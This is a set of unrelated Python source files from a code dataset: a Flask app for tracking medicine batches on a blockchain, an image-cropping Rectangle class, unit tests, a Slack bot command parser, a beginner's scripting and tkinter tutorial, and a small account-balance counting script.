')\ndef update_connected_node_address(address):\n \"\"\"\n Route to change the currently connected node\n \"\"\"\n #TODO update these method \n\n global CONNECTED_NODE_ADDRESS\n #CONNECTED_NODE_ADDRESS = \"http://127.0.0.1:\" + str(address) + \"/\"\n return \"Success\"\n\n@app.route('/')\ndef index():\n \"\"\"\n Build an get the index\n \"\"\"\n transactions = fetch_transactions()\n for transaction in transactions:\n medicine = Medicine.query.filter_by(medicine_id=Batch.query.filter_by(batch_id=transaction['batch_id']).first().medicine_id).first()\n transaction.update( {'medicine_name': medicine.medicine_name, 'medicine_id': medicine.medicine_id} )\n\n return render_template('index.html',\n title='Medical Blockchain',\n transactions=transactions,\n manufacturer=manufacturer,\n node_address=CONNECTED_NODE_ADDRESS,\n readable_time=timestamp_to_string,\n errors=errors)\n\n@app.route('/actor/')\n@login_required\ndef actor(actor_name):\n \"\"\"\n Return the actor page for an actor of the blockchain using the actor name (a string)\n \"\"\"\n actor = Actor.query.filter_by(actor_name=actor_name).first_or_404()\n adress = Adress.query.filter_by(id=actor.id).first()\n return render_template( 'actor.html',\n title=actor.actor_name,\n actor=actor,\n manufacturer=manufacturer,\n adress=adress)\n\n@app.route('/actorID/')\ndef actorID(actor_id):\n \"\"\"\n Return the actor page for an actor of the blockchain using the actor id (an int)\n \"\"\"\n actor = Actor.query.filter_by(id=actor_id).first_or_404()\n adress = Adress.query.filter_by(id=actor_id).first()\n return render_template( 'actor.html',\n title=actor.actor_name,\n actor=actor,\n manufacturer=manufacturer,\n adress=adress)\n\n@app.route('/batch/')\ndef batch(batch_id):\n \"\"\"\n Return the batch page for a batch of the blockchain using the batch id (an int)\n \"\"\"\n datamatrix_data = generateDatamatrix(batch_id)\n transactions = fetch_batch_transactions(batch_id)\n batch = Batch.query.filter_by(batch_id=batch_id).first_or_404()\n\n # Get all the parent of this batch\n while batch.parent_batch_id is not None:\n batch = Batch.query.filter_by(batch_id=batch.parent_batch_id).first_or_404()\n transactions.append(fetch_batch_transactions(batch.batch_id)[0])\n\n transactions = sorted(transactions, key=lambda k: k['timestamp'], reverse=True)\n\n for t in transactions:\n if int(t['batch_id']) != int(batch_id):\n t['status']='splitted'\n\n medicine = Medicine.query.filter_by(medicine_id=batch.medicine_id).first()\n return render_template( 'batch.html',\n title=\"Batch: \" + str(batch.batch_id),\n medicine=medicine,\n batch=batch,\n transactions=transactions,\n manufacturer=manufacturer,\n readable_time=timestamp_to_string,\n datamatrix_data=datamatrix_data)\n\n@app.route('/user_medicine')\n@login_required\ndef user_medicine():\n \"\"\"\n List all the medicine of the currently connected user (his stock)\n \"\"\"\n transactions = fetch_transactions_without_double()\n medicines = Medicine.query.filter_by(manufacturer_id=current_user.id).all()\n\n #blockchain\n user_id = current_user.id\n transactions_user = []\n for transaction in transactions:\n medicine_send_forward = False\n if transaction[\"recipient_id\"] == user_id and transaction[\"status\"] == \"accepted\":\n for t in transactions:\n if t[\"sender_id\"] == user_id and transaction[\"batch_id\"] == t[\"batch_id\"] and t[\"status\"] == \"accepted\" and t[\"sender_id\"] != t[\"recipient_id\"]:\n medicine_send_forward = True\n if medicine_send_forward is False:\n transactions_user.append(transaction)\n\n return render_template('user_medicine.html',\n title='Data of an user stock',\n transactions=transactions_user,\n medicines=medicines,\n manufacturer=manufacturer,\n node_address=CONNECTED_NODE_ADDRESS,\n readable_time=timestamp_to_string,\n user_id=user_id,\n errors=errors)\n\n@app.route('/request_mine', methods=['GET'])\n@login_required\ndef request_mine():\n \"\"\"\n Request the connected node to mine for a node's user\n \"\"\"\n mine_address = \"{}mine\".format(CONNECTED_NODE_ADDRESS)\n requests.get(mine_address)\n\n return redirect(url_for('index'))\n\ndef mine_blockchain():\n \"\"\"\n Request the connected node to mine\n \"\"\"\n mine_address = \"{}mine\".format(CONNECTED_NODE_ADDRESS)\n requests.get(mine_address)\n\n@app.route('/fetch_medicine_for_user_id', methods=['POST'])\n@login_required\ndef fetch_medicine_for_user_id():\n \"\"\"\n Route to get all the medicine for a given user_id\n \"\"\"\n user_id = current_user.id\n\n return redirect(url_for('user_medicine'))\n\n@app.route('/new_medicine', methods=['GET', 'POST'])\n@login_required\ndef new_medicine():\n \"\"\"\n Route to add a new medicine to the blockchain\n \"\"\"\n\n if request.method == 'POST':\n if request.form['medicine_name']=='' or request.form['GTIN']=='':\n flash('Missing data')\n else:\n try:\n medicine=Medicine(medicine_name=request.form['medicine_name'], GTIN=request.form['GTIN'], manufacturer_id=current_user.id)\n db.session.add(medicine)\n db.session.commit()\n except IntegrityError:\n flash('This medicine already exist.')\n\n return redirect(url_for('user_medicine'))\n\n return redirect(url_for('user_medicine'))\n\n@app.route('/new_batch', methods=['POST'])\n@login_required\ndef new_batch():\n \"\"\"\n Route to create a new batch\n \"\"\"\n if request.method == 'POST':\n if request.form['exp_date']=='' or request.form['quantity']=='':\n flash('Missing data')\n else:\n batch=Batch(exp_date=request.form['exp_date'], medicine_id=request.form['medicine_id'], quantity=request.form['quantity'])\n db.session.add(batch)\n db.session.flush()\n db.session.commit()\n\n json_object = {\n 'batch_id': int(batch.batch_id),\n 'sender_id': int(current_user.id),\n 'quantity': int(request.form['quantity'])\n }\n\n new_batch_adress=\"{}register_batch\".format(CONNECTED_NODE_ADDRESS)\n requests.post(new_batch_adress,\n json=json_object,\n headers={'Content-type': 'application/json'})\n\n return redirect(url_for('user_medicine'))\n\n return redirect(url_for('user_medicine'))\n\n@app.route('/send_batch', methods=['POST'])\n@login_required\ndef send_batch():\n \"\"\"\n Route to send a batch between 2 blockchains users IDs\n \"\"\"\n transactions = fetch_current_actor_transactions()\n if request.method == 'POST':\n if request.form['batch_id']=='' or request.form['recipient_id']=='' or request.form['quantity']=='':\n flash('Missing data')\n else:\n user_owner_batch = False\n batch_quantity = 0\n # Check that the user is the owner of the batch he is trying to send\n # The user is the owner is the batch is in the list of transactions\n # associated with his id.\n for t in transactions:\n if int(request.form['batch_id']) == int(t['batch_id']):\n user_owner_batch = True\n batch_origin = Batch.query.filter_by(batch_id=request.form['batch_id']).first_or_404()\n\n if user_owner_batch:\n if int(batch_origin.quantity) == int(request.form['quantity']): #Send all the batch\n json_object = {\n 'batch_id': int(request.form['batch_id']),\n 'sender_id': int(current_user.id),\n 'recipient_id': int(request.form['recipient_id']),\n 'quantity': int(batch_origin.quantity)\n }\n new_transaction_address = \"{}new_transaction\".format(CONNECTED_NODE_ADDRESS)\n response = requests.post( new_transaction_address,\n json=json_object,\n headers={'Content-type': 'application/json'})\n\n elif int(batch_origin.quantity) > int(request.form['quantity']): # Split the batch in 2\n print(\"Breaking the batch in 2\")\n size_batch_1 = int(batch_origin.quantity) - int(request.form['quantity'])\n size_batch_2 = int(request.form['quantity'])\n\n # Add new batches\n # batch1 keep the same owner\n # batch2 is send to the new owner\n batch1=Batch(exp_date=batch_origin.exp_date, medicine_id=batch_origin.medicine_id, quantity=size_batch_1, parent_batch_id=batch_origin.batch_id)\n batch2=Batch(exp_date=batch_origin.exp_date, medicine_id=batch_origin.medicine_id, quantity=size_batch_2, parent_batch_id=batch_origin.batch_id)\n db.session.add(batch1)\n db.session.add(batch2)\n db.session.flush()\n db.session.commit()\n\n json_object1 = {\n 'batch_id': int(batch1.batch_id),\n 'sender_id': int(current_user.id),\n 'quantity': int(batch1.quantity)\n }\n\n json_object2 = {\n 'batch_id': int(batch2.batch_id),\n 'sender_id': int(current_user.id),\n 'quantity': int(batch2.quantity)\n }\n new_batch_adress=\"{}register_batch\".format(CONNECTED_NODE_ADDRESS)\n requests.post(new_batch_adress,\n json=json_object1,\n headers={'Content-type': 'application/json'})\n requests.post(new_batch_adress,\n json=json_object2,\n headers={'Content-type': 'application/json'})\n\n mine_blockchain() #Add the new batch to the blockchain\n\n json_object = {\n 'batch_id': int(batch2.batch_id),\n 'sender_id': int(current_user.id),\n 'recipient_id': int(request.form['recipient_id']),\n 'quantity': int(batch2.quantity)\n }\n new_transaction_address = \"{}new_transaction\".format(CONNECTED_NODE_ADDRESS)\n response = requests.post( new_transaction_address,\n json=json_object,\n headers={'Content-type': 'application/json'})\n\n\n elif batch_origin.quantity > request.form['quantity']: # Don't do anything\n flash('You don\\'t have that quantity of medicine.')\n\n else:\n flash('You are not the owner of the batch')\n return redirect(url_for('user_transactions'))\n\n\n@app.route('/user_transactions')\n@login_required\ndef user_transactions():\n \"\"\"\n List the transactions of the actor currently connected\n \"\"\"\n transactions = fetch_current_actor_transactions()\n\n user_transactions = []\n for transaction in transactions:\n\n medicine = Medicine.query.filter_by(medicine_id=Batch.query.filter_by(batch_id=transaction['batch_id']).first().medicine_id).first()\n transaction.update( {'medicine_name': medicine.medicine_name, 'medicine_id': medicine.medicine_id} )\n\n user_transactions.append(transaction)\n\n return render_template('user_transactions.html',\n title='Manage yours transactions',\n transactions=user_transactions,\n manufacturer=manufacturer,\n node_address=CONNECTED_NODE_ADDRESS,\n readable_time=timestamp_to_string,\n user_id=current_user.id,\n errors=errors)\n\n@app.route('/submit_accept_transaction', methods=['POST'])\n@login_required\ndef submit_accept_transaction():\n \"\"\"\n Endpoint to the confirmation of a transaction in the blockchain\n \"\"\"\n if request.method == 'POST':\n json_object = {\n 'batch_id': int(request.form['batch_id']),\n 'sender_id': int(request.form['sender_id']),\n 'recipient_id': int(current_user.id),\n 'quantity': int(request.form['quantity']),\n 'status': request.form['statusTransaction']\n }\n\n\n submit_accept_transaction = \"{}response_transaction\".format(CONNECTED_NODE_ADDRESS)\n\n requests.post(submit_accept_transaction,\n json=json_object,\n headers={'Content-type': 'application/json'})\n\n mine_blockchain()\n\n return redirect(url_for('user_transactions'))\n\n@app.route('/decode_datamatrix', methods=['POST'])\ndef decode_datamatrix():\n \"\"\"\n From the image of a datamatrix, get the batch associated with it\n \"\"\"\n if request.method == 'POST':\n f = request.files['file']\n if f:\n try:\n f.save(\"app/static/img/datamatrix/imported_datamatrix.png\")\n data = decode(Image.open(\"app/static/img/datamatrix/imported_datamatrix.png\"))[0][0]\n\n batch_id = re.search(\"-..-..10{1}.*\", data.split('ASCII2991')[0]).group(0)[8:]\n return redirect(url_for('batch', batch_id=batch_id))\n except:\n flash(\"The datamatrix is not compatible.\")\n return redirect(url_for('index'))\n\n\n'''\n--------------------\n LOGIN ROUTES\n--------------------\n'''\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n \"\"\"\n Route to login\n \"\"\"\n form = LoginForm()\n if form.validate_on_submit():\n actor = Actor.query.filter_by(actor_name=form.actor_name.data).first()\n if actor is None or not actor.check_password(form.password.data):\n flash('Invalid actor name or password')\n return redirect(url_for('login'))\n\n global manufacturer\n if actor.manufacturer != 1:\n manufacturer = False\n else:\n manufacturer = True\n\n login_user(actor, remember=form.remember_me.data)\n next_page = request.args.get('next')\n if not next_page or url_parse(next_page).netloc != '':\n next_page = url_for('index')\n return redirect(next_page)\n return render_template('login.html', title='Sign In', form=form)\n\n@app.route('/logout')\ndef logout():\n \"\"\"\n Route to logout\n \"\"\"\n global manufacturer\n manufacturer = False\n\n logout_user()\n return redirect(url_for('index'))\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n \"\"\"\n Route to register a new user\n \"\"\"\n if current_user.is_authenticated:\n return redirect(url_for('index'))\n form = RegistrationForm()\n if form.validate_on_submit():\n actor = Actor(actor_name=form.actor_name.data, email=form.email.data, phone=form.phone.data, manufacturer=form.manufacturer.data)\n actor.set_password(form.password.data)\n db.session.add(actor)\n db.session.flush() # to get the id of the actor just added\n\n adress = Adress(street=form.street.data, city=form.city.data, state=form.state.data, zip_code=form.zip_code.data, country=form.country.data, id=actor.id)\n db.session.add(adress)\n db.session.commit()\n flash('Congratulations, you are now registered!')\n\n global manufacturer\n if actor.manufacturer != 1:\n manufacturer = False\n else:\n manufacturer = True\n\n login_user(actor, remember=True)\n\n return redirect(url_for('index'))\n return render_template('register.html', title='Register', form=form)\n\n'''\n--------------------\n SUPPORT FUNCTIONS\n--------------------\n'''\n\ndef timestamp_to_string(epoch_time):\n \"\"\"\n Convert the timestamp to a readable string\n \"\"\"\n return datetime.datetime.fromtimestamp(epoch_time).strftime('%d/%m/%Y - %H:%M:%S')\n\ndef generateDatamatrix(batch_id):\n \"\"\"\n Generate the datamatrix of a batch using the batch id\n \"\"\"\n batch = Batch.query.filter_by(batch_id=batch_id).first_or_404()\n medicine = Medicine.query.filter_by(medicine_id=batch.medicine_id).first()\n\n balise01 = \"ASCII232\"\n balise02 = \"ASCII29\"\n\n gtin = medicine.GTIN\n exp_date = batch.exp_date\n lot = batch.batch_id\n free_data = \"\"\n\n data = str(balise01) + \"01\" + str(gtin) + \"17\" + str(exp_date) + \"10\" + str(lot) + str(balise02) + \"91\" + str(free_data)\n\n datamatrix_data = DataMatrixEncoder(data)\n datamatrix_data.save(\"app/static/img/datamatrix/\"+ str(data) + \".png\")\n\n return data\n\ndef fetch_transactions():\n \"\"\"\n Function to fetch the chain from a blockchain node, parse the\n data and store it locally.\n \"\"\"\n get_chain_address = \"{}chain\".format(CONNECTED_NODE_ADDRESS)\n response = requests.get(get_chain_address)\n if response.status_code == 200:\n chain_content = []\n chain = json.loads(response.content)\n for block in chain[\"chain\"]:\n for transaction in block[\"transactions\"]:\n transaction[\"index\"] = block[\"index\"]\n transaction[\"hash\"] = block[\"previous_hash\"]\n chain_content.append(transaction)\n\n return sorted(chain_content, key=lambda k: k['timestamp'], reverse=True)\n\ndef fetch_transactions_without_double():\n \"\"\"\n Function to fetch the chain from a blockchain node, parse the data,\n check that each transactions only appear once and store it locally.\n \"\"\"\n get_chain_address = \"{}chain\".format(CONNECTED_NODE_ADDRESS)\n response = requests.get(get_chain_address)\n if response.status_code == 200:\n chain_content = []\n chain = json.loads(response.content)\n for block in chain[\"chain\"]:\n for transaction in block[\"transactions\"]:\n transaction[\"index\"] = block[\"index\"]\n transaction[\"hash\"] = block[\"previous_hash\"]\n chain_content.append(transaction)\n\n chain_content_cp = []\n for transaction in chain_content:\n transaction_confirmed_or_rejected = False\n for t in chain_content:\n if t[\"batch_id\"] == transaction[\"batch_id\"] and t[\"sender_id\"] == transaction[\"sender_id\"] and t[\"recipient_id\"] == transaction[\"recipient_id\"] and t[\"timestamp\"] != transaction[\"timestamp\"]:\n transaction_confirmed_or_rejected = True\n if transaction_confirmed_or_rejected is False or transaction[\"status\"] != \"waiting\" :\n chain_content_cp.append(transaction)\n\n return sorted(chain_content_cp, key=lambda k: k['timestamp'], reverse=True)\n\ndef fetch_current_actor_transactions():\n \"\"\"\n Fetch the transactions of the currently connected actor\n \"\"\"\n get_chain_address = \"{}chain\".format(CONNECTED_NODE_ADDRESS)\n response = requests.get(get_chain_address)\n if response.status_code == 200:\n transactions_actor=[]\n data_transactions=[]\n chain = json.loads(response.content)\n for element in chain[\"chain\"]:\n for transaction_elem in element[\"transactions\"]:\n data_transactions.append(transaction_elem)\n\n current_transactions = sorted(data_transactions, key=lambda k: k['timestamp'], reverse=True)\n\n batch_with_owner = []\n\n for t in current_transactions:\n batch_have_owner = False\n for b in batch_with_owner:\n if b['batch_id'] == t['batch_id']:\n batch_have_owner = True\n\n if not batch_have_owner:\n if t['status'] == \"accepted\" or t['status'] == \"waiting\":\n if t['recipient_id'] == current_user.id:\n transactions_actor.append(t)\n if t['status'] == \"refused\":\n if t['sender_id'] == current_user.id:\n transactions_actor.append(t)\n batch_with_owner.append(t)\n\n return sorted(transactions_actor, key=lambda k: k['timestamp'], reverse=True)\n\ndef fetch_batch_transactions(batch_id):\n \"\"\"\n Fetch the transactions of a batch using his id\n \"\"\"\n get_chain_address = \"{}chain\".format(CONNECTED_NODE_ADDRESS)\n response = requests.get(get_chain_address)\n if response.status_code == 200:\n transactions_batch = []\n chain = json.loads(response.content)\n\n for element in chain[\"chain\"]:\n for transaction in element[\"transactions\"]:\n if int(transaction[\"batch_id\"]) == int(batch_id):\n transactions_batch.append(transaction)\n\n transactions_batch = sorted(transactions_batch, key=lambda k: k['timestamp'], reverse=True)\n\n return transactions_batch\n","repo_name":"joachimdorel/Medical-Blockchain","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":22664,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"75"} +{"seq_id":"37781875081","text":"\n\nclass Rectangle:\n \"\"\"\n Modelled after http://docs.opencv.org/2.4/modules/core/doc/basic_structures.html#rect\n \"\"\"\n left = 0\n width = 0\n top = 0\n height = 0\n\n def __init__(self, top, height, left, width):\n self.left = left\n self.width = width\n self.top = top\n self.height = height\n\n @classmethod\n def from_ndarray(cls, a):\n return cls(0, a.shape[0], 0, a.shape[1])\n\n def get_shape(self):\n assert self.width - self.left > self.height - self.top\n return self.height - self.top, self.width - self.left\n # return self.width - self.left, self.height - self.top\n\n def crop(self, coord):\n \"\"\"Virtual crop.\n\n :param coord - instance of Coordinates object\n\n >>> import cv2\n >>> arr = cv2.imread(\"assets/img/doctests/single_line_lcd.jpg\", 0)\n >>> c = Rectangle.from_ndarray(arr)\n >>> arr.shape\n (572, 1310)\n >>> c.get_shape() # (vertical, horizontal)\n (572, 1310)\n >>>\n >>> # first crop\n >>> c.crop(Rectangle(310, 510, 100, 1000))\n >>> split_one = arr[310:510, 100:1000]\n >>> split_one.shape\n (200, 900)\n >>> c.get_shape()\n (200, 900)\n >>> split_one.shape == c.get_shape()\n True\n >>> str(c)\n ''\n >>>\n >>> # second crop\n >>> c.crop(Rectangle(100, 200, 100, 500))\n >>> c.get_shape()\n (100, 400)\n >>> arr[310:510, 100:1000][100:200, 100:500].shape\n (100, 400)\n >>> arr[310:510, 100:1000][100:200, 100:500].shape == c.get_shape()\n True\n >>> str(c)\n ''\n \"\"\"\n if coord.width:\n self.width = coord.width + self.left\n if coord.left:\n self.left += coord.left\n if coord.height:\n self.height = coord.height + self.top\n if coord.top:\n self.top += coord.top\n assert coord.left >= 0\n assert coord.width >= 0\n assert coord.top >= 0\n assert coord.height >= 0\n assert coord.left < coord.width\n assert coord.top < coord.height\n assert self.left < self.width\n assert self.top < self.height\n\n def crop_borders(self, width_percent):\n \"\"\"\n :param width_percent: border width in range from 0 to 1\n :return: void\n\n >>> c = Rectangle(200, 400, 0, 1000)\n >>> c\n \n >>> c.get_shape()\n (200, 1000)\n >>> c.crop_borders(0.1)\n >>> c.get_shape()\n (160.0, 960.0)\n \"\"\"\n pixels = self.get_shape()[0] * width_percent\n self.left += pixels\n self.width -= pixels\n self.top += pixels\n self.height -= pixels\n\n def __repr__(self):\n return \"\" % (self.top, self.height, self.left, self.width)\n","repo_name":"12019/LCD-OCR","sub_path":"utilities/rectangle.py","file_name":"rectangle.py","file_ext":"py","file_size_in_byte":2930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2791476813","text":"#!/usr/bin/env python3\n\"\"\"Parameterize a unit test\"\"\"\nimport unittest\nfrom unittest.mock import MagicMock, patch\nfrom parameterized import parameterized\nfrom utils import access_nested_map, get_json, memoize\n\n\nclass TestAccessNestedMap(unittest.TestCase):\n \"\"\"Test the access nested map function from utils module\"\"\"\n @parameterized.expand([\n ({\"a\": 1}, (\"a\",), 1),\n ({\"a\": {\"b\": 2}}, (\"a\",), {\"b\": 2}),\n ({\"a\": {\"b\": 2}}, (\"a\", \"b\"), 2)\n ])\n def test_access_nested_map(self, nested_map, path, ret_value):\n \"\"\"Test the access nested map function from utils module\"\"\"\n self.assertEqual(access_nested_map(nested_map, path), ret_value)\n\n @parameterized.expand([\n ({}, (\"a\",)),\n ({\"a\": 1}, (\"a\", \"b\"))\n ])\n def test_access_nested_map_exception(self, nested_map, path):\n \"\"\"Test the access nested map function raised errors\"\"\"\n with self.assertRaises(KeyError):\n access_nested_map(nested_map, path)\n\n\nclass TestGetJson(unittest.TestCase):\n \"\"\"test the get json function\"\"\"\n @parameterized.expand([\n (\"http://example.com\", {\"payload\": True}),\n (\"http://holberton.io\", {\"payload\": False})\n ])\n @patch(\"utils.requests\")\n def test_get_json(self, test_url, test_payload, mock_requests):\n \"\"\"test the get json function\"\"\"\n # print(f\"Here======>\\n{test_payload}\")\n # bcos request.get returns a Response object,\n # I need to mock a response object\n mock_response = MagicMock()\n # then imitate .json() method and pass in my payload as return value\n mock_response.json.return_value = test_payload\n mock_requests.get.return_value = mock_response\n\n self.assertEqual(get_json(test_url), test_payload)\n\n\nclass TestMemoize(unittest.TestCase):\n \"\"\"test memoize function\"\"\"\n\n def test_memoize(self):\n \"\"\"test the memoize function\"\"\"\n class TestClass:\n \"\"\"test memoization\"\"\"\n\n def a_method(self):\n \"\"\"random method\"\"\"\n return 42\n\n @memoize\n def a_property(self):\n \"\"\"random method\"\"\"\n return self.a_method()\n # using a context manager & patch.object()\n with patch.object(TestClass, 'a_method') as mock_a_method:\n test = TestClass() # initialize an instance of the class\n test.a_property() # 1st call\n # subsequent calls only returns the cache and\n # doesnt call the method itself\n test.a_property()\n # test.a_property()\n # test.a_property()\n mock_a_method.assert_called_once()\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"fashemma007/alx-backend-python","sub_path":"0x03-Unittests_and_integration_tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":2720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73085046643","text":"# -*- coding: utf-8 -*-\nimport shlex\nimport docopt\n\nfrom avabot import __author__, __author_email__\nfrom avabot import __version__\nfrom avabot.exceptions.parse import ParseCommandException\nfrom avabot.constants import DEFAULT_HITL\n\n\nclass Parser:\n def run(self, message, channel, user):\n raise NotImplementedError\n\n\nclass MessageParser(Parser):\n __doc__ = \"\"\"Ava Slackbot\n\nUsage:\n @ava (d|detect) ... [(--class=)...] [--model=] [--verify=] [--raw-json]\n @ava (gd|get-detect-job) [--raw-json]\n @ava (dc|detect-consensus) ... [(--class=)...] [--raw-json]\n @ava (m|match) ... (--target=)... [--raw-json]\n @ava (gm|get-match-job) [--raw-json]\n @ava (a|ask) ... --question= [--raw-json]\n @ava (ga|get-ask-job) [--raw-json]\n @ava (v|video) [--fps=] [(--class=)...] [--raw-json]\n @ava (gv|get-video-job) [--raw-json]\n @ava (--help|--version)\n\nArguments:\n ... image urls (space separated) you want to run detections on\n job id\n\nOptions:\n -c --class= specify the class you want to find in the url\n --model= specify model to use\n --verify= additional verification for detect requests (AUTO, NEVER, ALWAYS) [default: %s]\n -t --target= target image urls for match requests\n --question= question about the images for ask requests\n --fps= number of frames to be classified per second, for video requests\n -r --raw-json returns the raw JSON response from the Image Intelligence API\n -h --help shows this\n --version shows version\n\nAuthor: %s <%s>, Image Intelligence\nGitHub: https://github.com/ImageIntelligence/ava-slackbot\nAPI: https://docs.imageintelligence.com\"\"\" % (\n DEFAULT_HITL,\n __author__,\n __author_email__\n )\n\n def run(self, message, channel, user):\n filtered_message = shlex.split(message)[1:]\n filtered_message = map(lambda i: i.strip('<>'), filtered_message)\n filtered_message = list(filtered_message)\n\n slack_data = {'channel': channel, 'user': user}\n try:\n arguments = docopt.docopt(MessageParser.__doc__, filtered_message, help=False, version=False)\n except docopt.DocoptExit as e:\n raise ParseCommandException(str(e))\n\n if any((m in ('-h', '--help')) and m for m in filtered_message):\n parsed_data = {'--extras': MessageParser.__doc__, **arguments}\n elif any((m in ('-v', '--version')) and m for m in filtered_message):\n parsed_data = {'--extras': 'Ava Slackbot v%s' % __version__, **arguments}\n else:\n parsed_data = arguments\n return {**slack_data, **parsed_data}\n","repo_name":"Hackthings/ava-slackbot","sub_path":"avabot/services/parsers.py","file_name":"parsers.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"13916563616","text":"# # sys module\n# import subprocess\n# import sys\n#\n#\n# print(sys.version)\n# # current py version\n#\n#\n# print(sys.argv)\n# #list of commanding arguments passed to a script\n#\n#\n# # stderr - store error messages, stdint - accept user input, stdout print output, exit - end a python script\n#\n# # os module\n# # interact with the os primary use is to create folders move folders copy them or change working directory\n#\n# import os\n#\n# print(os.getcwd())\n# # get current working directory\n#\n# # os.chdir(\"\")\n# # change current working directory\n#\n#\n# os.mkdir('Edureka')\n# # create a folder\n#\n#\n# os.rmdir('Edureka')\n# # delete a file\n#\n#\n# os.remove('text.txt')\n# # to delete a file\n#\n#\n#\n# # os.path\n# os.path.join(\"curent path\", \"path u want to join to the current path\")\n#\n#\n# os.path.split(\"path u want to split\")\n# # this split it into the path and current folder e.g. D:\\spl\\python_scription\\osmodule would become splited into D:\\spl\\python_scrpt osmodule\n#\n#\n# os.path.exists('path')\n# # check if path exists\n\n\n# subprocess module\n# this lets u interacts with the os and let u pass information in and out of them and gets return codes\n# subprocess.call(write the process u want hereit runs the command waith for it to finish and get he return code)\n\n# math module\n# perform math functions\n#\n# import math\n#\n# math.pi #value of pi\n# math.e #value of constance e\n# math.degrees(0.1) #convert an angle from radus to degeree\n# math.acos(0.5) #get cos of a number\n# math.asin(0.5) #get sin of a number\n# math.atan(0.5) #get tan of a number\n# math.exp(2) #this returns e raised to the power 2\n# math.log(10, 10) #log with one argument u can return x to the base of the num or with 2 arguments to the base of the arguments\n\n\n# random module\n# import random\n# random.randrange(10) #not more than the number entered\n# random.randrange(0, 10, 2)#means start at 0 to 10 and increase or decrease in twos\n# random.randint(0,20) #random integer between 0 to 20\n#\n# #datetime module\n# import datetime\n#\n# datetime.date.today()#get current time\n# now = datetime.datetime.today()\n# other= datetime.datetime(2020,12,12, 17, 59)\n# print(now - other)\n\n\n# json module\n\nemployee_data =''' {\n \"people\" : [\n {\n \"name\" :\"Sept\" ,\n \"email\":[\"spl@gmail.com\", \"naa@gmail.com\"],\n \"married\":true\n },\n {\n \"name\" :\"Sept\" ,\n \"email\":[\"spl@gmail.com\", \"naa@gmail.com\"],\n \"married\":true\n },\n {\n \"name\" :\"Sept\" ,\n \"email\":[\"spl@gmail.com\", \"naa@gmail.com\"],\n \"married\":true\n }\n]\n}\n'''\n\n# print(employee_data)\n#\n# import json\n# #passing it to python loading it into json\n# data=json.loads(employee_data)\n#\n# #to dump a json file into file or output it as a string\n# data=json.loads(employee_data)\n#\n# print(data)\n\n\n#gui\nimport tkinter\n\nfrom tkinter import Tk\nfrom tkinter import ttk\nfrom tkinter import *\n\n# create a tk object\nroot = Tk()\n\n# root.title('First gui using python')\n# ttk.Button(root, text=\"Hello Spencer Lewis\").grid()\n# root.mainloop() #close this window\n#\n\n#basic components in a gui app\n# labels\n# buttons\n# frame\n# grid\n# radio buttons\n# check buttons\n\n\n#create a frame - a widget which surround other widgets\n#\n# frame =Frame(root)\n# labelText=StringVar()\n# #\n# label = Label(frame, textvariable= labelText)\n# button=Button(frame, text=\"Hey, i am a button\")\n#\n# labelText.set('Hey this is how u change a label text')\n#\n# label.pack()#define how a component are arragned in a window\n# button.pack()\n# frame.pack()\n#\n# #pack everything u used\n#\n# #close\n# root.mainloop()\n\n\n# frame = Frame(root)\n# Label(frame, text=\"Hey!\").pack()\n# Button(frame, text=\"Click me\").pack(side=LEFT, fill=Y) #fill where it would be streteched\n# Button(frame, text=\"Click me 1\").pack(side=RIGHT, fill=X) #fill where it would be streteched\n# Button(frame, text=\"Click me 2\").pack(side=TOP, fill=Y) #fill where it would be streteched\n# Button(frame, text=\"Click me 3\").pack(side=LEFT, fill=Y) #fill where it would be streteched\n#\n# frame.pack()\n# root.mainloop()\n\n# #\n# Label(root, text='Name').grid(row=0, column=0, sticky=N) # sticky direction can be N for north and first capital for other directions #this a geometry manager to structure diff component in the window\n# Entry(root, width=50).grid(row=0, column=1)\n#\n# Button(root, text='Submit').grid(row=0, column=5)\n#\n#\n#\n# Label(root, text='Gender').grid(row=1, column=0, sticky=N)\n# Radiobutton(root, text=\"F\", value=1).grid(row=1, column=1, sticky=N)\n# Radiobutton(root, text=\"M\", value=2).grid(row=1, column=2, sticky=N)\n#\n# Label(root, text='Courses').grid(row=1, column=0, sticky=N)\n# Checkbutton(root, text=\"Java\").grid(row=3, column=1, sticky=N)\n# Checkbutton(root, text=\"Python\").grid(row=4, column=1, sticky=N)\n# Checkbutton(root, text=\"Php\").grid(row=5, column=1, sticky=N)\n#\n# root.mainloop()\n\ndef square(event):\n a=int(num1.get())\n b=a*a\n #delete the previous results from screen\n result.delete(0,'end')\n #passing answert to the result screen\n result.insert(0,b)\n\nroot=Tk()\nLabel(root, text=\"Find the square of a number\").pack()\nnum1= Entry(root)\nnum1.pack(side=LEFT)\n\nbtn= Button(root, text=\"Square to\")\nbtn.bind(\"\", square)\nbtn.pack(side=LEFT)\n\nresult=Entry(root)\nresult.pack(side=LEFT)\nroot.mainloop()","repo_name":"Spencer555/scrapping-scripting-shell","sub_path":"scripting.py","file_name":"scripting.py","file_ext":"py","file_size_in_byte":5172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26615356832","text":"\"\"\"\ncalculate how many accounts have zero balance and no transactions\n\"\"\"\nimport json\nimport pandas as pd\n\ncount = 0\nbalance_sheet = pd.read_csv(\"../merge_dataset/user_addresses_balance.csv\")\nwith open(\"../merge_dataset/transaction_record_simplify.jsonl\", \"r\") as f:\n for line in f.readlines():\n record = json.loads(line)\n address = record[\"address\"]\n balance = balance_sheet.loc[balance_sheet[\"address\"] == address]\n try:\n balance = float(balance[\"balance\"].values[0])\n except:\n print(balance[\"balance\"].values[0])\n if balance > 0 and len(record[\"transactions\"]) > 0:\n count += 1\nprint(f\"#active account {count}, percentage {count / balance_sheet.shape[0]}\") # 